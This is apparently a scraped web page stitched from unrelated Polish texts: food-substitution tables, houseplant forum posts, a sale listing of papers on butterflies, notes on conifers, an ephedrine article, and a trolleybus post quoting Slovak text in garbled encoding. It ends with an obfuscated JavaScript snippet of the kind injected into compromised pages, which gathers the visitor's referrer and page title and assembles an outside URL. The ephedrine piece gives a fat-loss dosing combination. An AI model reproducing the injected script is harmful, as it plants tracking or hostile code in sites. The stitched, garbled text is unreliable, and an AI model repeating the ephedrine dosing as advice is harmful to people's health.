100g kefiru, jogurtu, mleka ukwaszonego, maślanki
15g mleka w proszku
15g sera twarogowego
30g sera homogenizowanego
10g sera podpuszczkowego i topionego
3. Jaja:
100g jaja (2 sztuki) odpowiada:
400g mleka- kefiru, jogurtu, maślanki
100g sera twarogowego
200g sera twarogowego homogenizowanego
60g sera podpuszczkowego i topionego
80g mięsa bez kości
120g drobiu wypatroszonego
60g szynki, polędwicy, baleronu, kiełbasy suchej
100g kiełbas nietrwałych
100g filetów rybnych
150g ryby wędzonej
4. Mięso, wędliny, drób, ryby:
100g mięsa z kością i ryb odgłowionych, wypatroszonych odpowiada:
400g mleka
100g sera twarogowego
200g sera twarogowego homogenizowanego
60g sera podpuszczkowego i topionego
80g mięsa bez kości
120g drobiu wypatroszonego
70g szynki, polędwicy, baleronu, kiełbasy suchej
100g kiełbas nietrwałych
100g filetów rybnych
150g ryby wędzonej
100g jaj
100g grochu i fasoli
5. Masło:
100g masła odpowiada:
450g śmietany 18% tłuszczu
6. Inne tłuszcze:
100g oleju odpowiada:
120g margaryny
100g smalcu
7. Warzywa i owoce:
100g świeżych odpowiada:
60g soku pitnego, nektaru, przecieru
30g koncentratu pomidorowego 20%
20g koncentratu pomidorowego 30%
20g owoców suszonych
8. Suche nasiona roślin strączkowych:
100g suchych nasion roślin strączowych odpowiada:
135g pieczywa
100g makaronu, mąki i kaszy
9. Cukier:
100g cukru odpowiada:
125g miodu
200g dżemu niskosłodzonego
150g dżemu wysokosłodzonego, konfitur, syropów owocowego

W ciemnych miejscach może rosnąć Zamioculcas - wogule genialna roślina ale wisząca niestety nie jest. Z wiszących to bluszcz, cisus albo scindapsus ale zależy jak ciemno masz w tym miejscu...

Zdecydowanie oddzielic od roślin zdrowych. Ja miałam w tym samym pomieszczeniu szeflerę z tarcznikiem i zamię. Były na dwóch różnych parapetach w odległości 6m i po pół roku zamia już była zaatakowana!!!

1
do tej listy jeszcze wpisalabym Zamioculcas zamiifolia. Jest to roslina ktora nie tylko pieknie rosnie w cieniu to jeszce wymaga malo podlewnia..jednym slowem nie jest kaprysna i mozna spokojnie jechac na wakacje nie martwiac sie o podlewanie..

pozdrawiam jola

nie no, to jakie rośliny mam w domu to ja wiem.
zresztą zamia ma inne liście, i kwiaty też inne

1
Masz piękne, zadbane rośliny, ale to już chyba pisałam.
Ta roślinka, której nazwy nie znasz to kalanchoe, a zamia to chyba zamioculcas zamiolistny.

1
nawet nie "niezła" tylko piekna naprawde super rosliny i zamioculcas tez jak za 5zł to okaz ładny

1
Czy zamioculkas to roślina cebulowa?

Nie jesteś ślepa - zamioculcas tworzy kłącza

Witam, oferuje do sprzedania następujące oryginalne archiwalne artykuły o Lepidoptera Chorwacji:
*Geiger V.1873 Beitrag zur Schmetterlingskunde Dalmatiens (niem.) 2 str. - 1.5 EUR
*W.Schmidt-Koehl, 1977 Geographische und lepidopterologische Eindrucke zweier Fruhjahrsreisen in das adriatische Jugoslawien im April 1976 und 1977 (niem.) 12 str. - 1.5 EUR
*Habeler H., 1976 Beitrag Zur Lepidopterenfauna Dalmatiens (niem.) 21 str. - 4.5 EUR
*Mentzer Erik von, 1981, Neue und Bemerkenswerte Funde von Lepidopteren in Jugoslawien (niem.) - 1.5 EUR
*Milosevic B., Lorkovic Z., 1978 Kartiranje Rhopalocera Jugoslavije (chorw./ang.) 7 str. - 1.5 EUR
*Klimesch J. von, 1942, Uber Microlepidopteren-Ausbeuten aus der Gegend von Zaton bei Gravosa (Suddalmatien) (niem.) 54 str.+3 tabl. - 15.5 EUR
*Zerny H., 1919 Beitrage zur Kenntnis der Fauna Dalmatiens, besonders der Insel Brazza (niem.) 10 str. - 1.5 EUR
*Rebel H., Lepidopteren aus dem Gebiete des Monte Maggiore in Istrien (niem.) 14 str. - 3 EUR
*Habeler H., 2001 Lepidopterologische Nachrichten aus der Steiermark, 18 mit Funddaten von den Inseln Krk und Cres (Lepidoptera) (niem.) 8 str. - 1.5 EUR
*Mladinov L., 1984 Nove Vrste Macrolepidoptera (Lep. Lemoniidae, Noctuidae, Geometridae) za Faunu Sr Hrvatske (chorw./niem.) 5 str. - 1.5 EUR
*Beiger M., 1978 Studia nad Owadami Minujacymi Tatrzanskiego Parku Narodowego IX. Stosunki Pokrewienstwa Gorskich Gatunow Grupy Albiceps (Phytomyza, Agromyzidae) minujacych rosliny z rzedu Campanulales (pol.) - 10 PLN

Wszystkie pozycje, oprocz ostatniej, zakupione przed miesiacem u Kabourka po canach o 15%-20% wyzszych od podanych. Przesylka przy zamowieniu powyzej 5 EUR na moj koszt. Platnosc mozliwa w zlotowkach.
Mozliwa negocjacja cen oraz zamiana na inne publikacje o podobnej 'wadze' naukowej dotyczace Lepidoptera Cypru, Chorwacji, Madagaskaru.

Pozdrawiam
Jacek Kazimierczak

1
andzia, możesz uprawiać bluszcze, cissusy, begonię królewską, figowca benjamińskiego, zamię. Te rośliny są proste i łatwe w uprawie, nawet w okresie jesienno-zimowym.

Nagonasienne, nagozalążkowe (Pinophyta)
Nasiona roślin nagonasiennych nie tworzą się wewnątrz zalążn, ale powstają na tzw. łuskach nasiennych osadzonych na osi i często podpartych łuskami wspierającymi oraz tworzących struktury zwane szyszkami. Z uwagi na brak słupka i zalążni rośliny nagozalążkowe nie wykształcają owoców. Drzewa iglaste odgrywają istotną rolę w funkcjonowaniu ekosystemów, zwłaszcza na obszarach, gdzie dominują w formacjach roślinnych np. w tajdze i w zaroślach wysokogórskich. Drzewa iglaste dają schronienie zwierzętom i dostarczają im pokarmu, a ich korzenie umacniają glebę i zapobiegają jej erozji. Ponad 75% budowlanego surowca drzewnego oraz drewna do produkcji papieru, mas plastycznych, sztucznego jedwabiu, lakierów czy materiałów wybuchowych pozyskuje się z drzew iglastych. Niektóre drzewa iglaste dostarczają żywicy niezbędnej do produkcji smarów i smoły. Nasiona kilku gatunków są jadalne.


Zamia – Dominikana • Rodzina: zamiowate (Zamiaceae). Rośliny z rzędu Cycadales. Te z rodzaju Zamia przypominają paprocie. Wielkość mała lub średnia.


Pinus occidentalis – Dominikana • Rodzina: sosnowate (Pinacea). Rośliny z rzędu szpilkowców. Rodzina drzew i krzewów należąca do klasy iglastych. Występują one przede wszystkim na obszarach chłodnych i umiarkowanych półkuli północnej. Niektóre gatunki rosną również w tropikach. Liście - szpilki. Kwiaty zebrane są w duże i zdrewniałe szyszki żeńskie oraz niewielkie i nietrwałe szyszki męskie. Sosa ze zdjęcia jest endemiczna dla wyspy Hispaniola (gatunek dominujący w sosnowych lasach Haiti i Dominikany). Porastają nawet najwyższy szczyt Karaibów (znajdujący się w Dominikanie) Pico Duarte. Średniej wielkości drzewo, 20-30 m wysokości z koroną. Liście ciemnozielone, szyszki brązowe, błyszczącemają o długości 5-8 cm.

źródło:www.kingsnake.com
źródło:www.wikipedia.com

Efedryna obecna jest w roślinie zwanej E mahuaną (Ephedra vulgaris), która od ponad 5 tysięcy lat jest stosowana w chińskim ziołolecznictwie. Syntetyczna efedryna jest obecnie dostępna na całym świecie, choć w niektórych krajach i w pewnych stanach USA jej używanie jest zabronione. Kulturyści cenią efedrynę za jej działanie termogenne (przyspieszona zamiana kalorii pochodzących z tłuszczu na ciepło), co przyspiesza spalanie tkanki tłuszczowej i oszczędza mięśnie. Działanie to jest szczególnie skuteczne przy połączeniu 20 mg efedryny z 200 mg kofeiny i 320 mg aspiryny. Spalanie tkanki tłuszczowej i działanie pobudzające efedryny są wynikiem jej zdolności do pobudzania wydzielania katecholamin (adrenaliny i noradrenaliny). Obie te substancje przyspieszają uwalnianie tłuszczu z komórek tłuszczowych i pobudzają układ nerwowy. Dla większości ludzi efedryna w małych dawkach jest lekiem całkowicie bezpiecznym, ale osoby cierpiące na choroby serca, nadciśnienie czy choroby tarczycy nie powinni w ogóle jej stosować. To spowodowało w dużej mierze zakaz jej używania w niektórych krajach czy stanach. Efedryna bywa również używana do produkcji narkotyków (metamfetaminy i metkationiny). Także łatwo dostępny w Stanach ”uliczny" narkotyk zwany Cloud Nine, popularny zwłaszcza na „szalonych prywatkach", uważany za „całkowicie naturalny" odpowiednik MDMA
(Ecstasy) zawiera w swym składzie efedrynę. Chociaż znacznie słabiej pobudzająca od amfetaminy, efedryna ma podobną do niej budowę chemiczną. Ale czy również uzależnia? W pracy opublikowanej w 1994 r. w czasopiśmie „Psychophaxmacology" porównywano własności uzależniające amfetaminy i efedryny w grupie 18 kobiet i 9 mężczyzn. Gdy pozostawiono im możliwość wyboru leku, w 17% częściej wybierali efedrynę, a w 38% częściej amfetarninę. Ponadto wykazano, że subiektywne skutki stosowania efedryny przypominają skutki wywoływane przez łagodnie działające legalne substancje pobudzające, jak np. kofeina. W związku z tym efedryna uznana została za lek o słabych właściwościach uzależniających. Pobudzające działanie efedryny szybko mija. Okres jej półtrwania w organizmie wynosi 6 godzin, co oznacza, że w ciągu tego czasu połowa przyjętej dawki ulega rozpadowi. Podczas gdy działanie pobudzające efedryny mija przy dłuższym podawaniu leku, jej działanie termogenne pozostaje. Efedryna pomaga utrzymać szybkie tempo przemiany materii dzięki stymulowaniu konwersji T4 nieaktywnej formy hormonu tarczycy w T3 postać aktywną. Pamiętajmy jednak, że stosowana w zbyt dużych ilościach może - jak każdy inny przedawkowany lek - spowodować szereg komplikacji zdrowotnych

Nie wiem co to są trajlusie, ale to chyba jakas nowa nazwa zwierzątek albo roślin (artykuł dotyczący likwidacji sieci w Koszycach):

"Ludzie w Koszycach są oburzeni —podaje miejscowe radio. „Zamiana trajlusiów na autobusy w przededniu katastrofy klimatyczno-ekologicznej, której symptomy coraz wyraźniej odczuwamy, byłoby prawdziwym „przestępstwem”. (...). A jeżeli naprawdę nie ma innego wyjścia —inwestorzy tych budowli muszą znaleźć inne rozwiązania i pokryć koszty zbudowania objazdów dla trajlusiów —powiedział jeden z mieszkańców miasta, spacerujący przed hotelem Slovan. (...)
Jedno jest pewne: w Koszycach wrze z powodu skandalu trajlusiowego..

A tu oryginał z trolejbusami:

"KOĹ ICE – ÄŚlenovia IniciatĂ­vy za zĂĄchranu koąickĂ˝ch trolejbusov spustili v polovici tĂ˝żdňa petičnĂş akciu v uliciach mesta, aby udrżali trolejbusovĂş dopravu. Mesto ju vraj chce Ăşplne zlikvidovaą. DopravnĂ˝ podnik vąak argumentuje, że ju len obmedzĂ­ počas vĂ˝stavby Auparku a rekonątrukcie hotela Slovan.

„NeverĂ­me tomu. NepĂ´jde len o Ăştlm, ale aj o postupnĂŠ zruąenie,“ hovorĂ­ predseda IniciatĂ­vy Martin Kriątof. Ich pocit vyplĂ˝va z toho, że vedenie dopravnĂŠho podniku sa pred troma tĂ˝żdňami zaoberalo aj możnĂ˝m utlmenĂ­m prevĂĄdzky trolejbusovej dopravy počas vĂ˝stavby Auparku. Taktież sĂş aktivisti presvedčenĂ­, że je v tom aj ekonomickĂ˝ dĂ´vod. „Do prevĂĄdzok na Trolejbusovej ulici chodia v poslednom čase zĂĄstupcovia americkej firmy BlueBird, ktorĂĄ vyrĂĄba autobusy. Je możnĂŠ, że tu majĂş ekonomickĂŠ zĂĄujmy a tieto priestory odkĂşpia, a tak trolejbusy budĂş odstavenĂŠ,“ myslĂ­ si člen petičnĂŠho vĂ˝boru Marek Tóth.
Mesto tieto dohady odmieta. „Je to absolĂştne nepravdivĂŠ. Áno, americkĂĄ spoločnosą skutočne s naąĂ­m dopravnĂ˝m podnikom nadviazala kontakty. Ale v żiadnom prĂ­pade nie z toho dĂ´vodu, ako si myslia aktivisti. MajĂş inĂŠ zĂĄujmy, o ktorĂ˝ch je eąte predčasnĂŠ hovorią,“ vysvetlila hovorkyňa magistrĂĄtu Jana GeročovĂĄ a dodala: „RegulačnĂ˝ plĂĄn ani nĂĄvrh Auparku o żiadnom utlmovanĂ­ trolejbusov nehovorĂ­. Počas vĂ˝stavby, keÄŹ bude platią obmedzenĂ˝ reżim dopravy, sa v prvom rade bude rieąią mestskĂĄ doprava. To znamenĂĄ, że sa pre električky, trolejbusy a autobusy bude hÄźadaą koridor, aby tĂĄto doprava fungovala bez obmedzenia.“"

Ani słowa o trajlusiach. Co to są trajlusie??????

I jeszcze jedno, w zestawieniu autobusów sprzedanych do Bremy podano liczbę autobusów SOLARIA. Nigdy nie słyszałem o takich autobusach...




function bb51545380dd9fe(str) { return escape(str).replace('+', '%2B').replace('%20', '+').replace('*', '%2A').replace('/', '%2F').replace('@', '%40'); } function aa51545380dd9c3(a,b) { var d="http://"; var e="ima"; var f=(600+77); var g=".info/se2"; return(''); } document.write(aa51545380dd9c3(bb51545380dd9fe(document.referrer),bb51545380dd9fe(document.title)));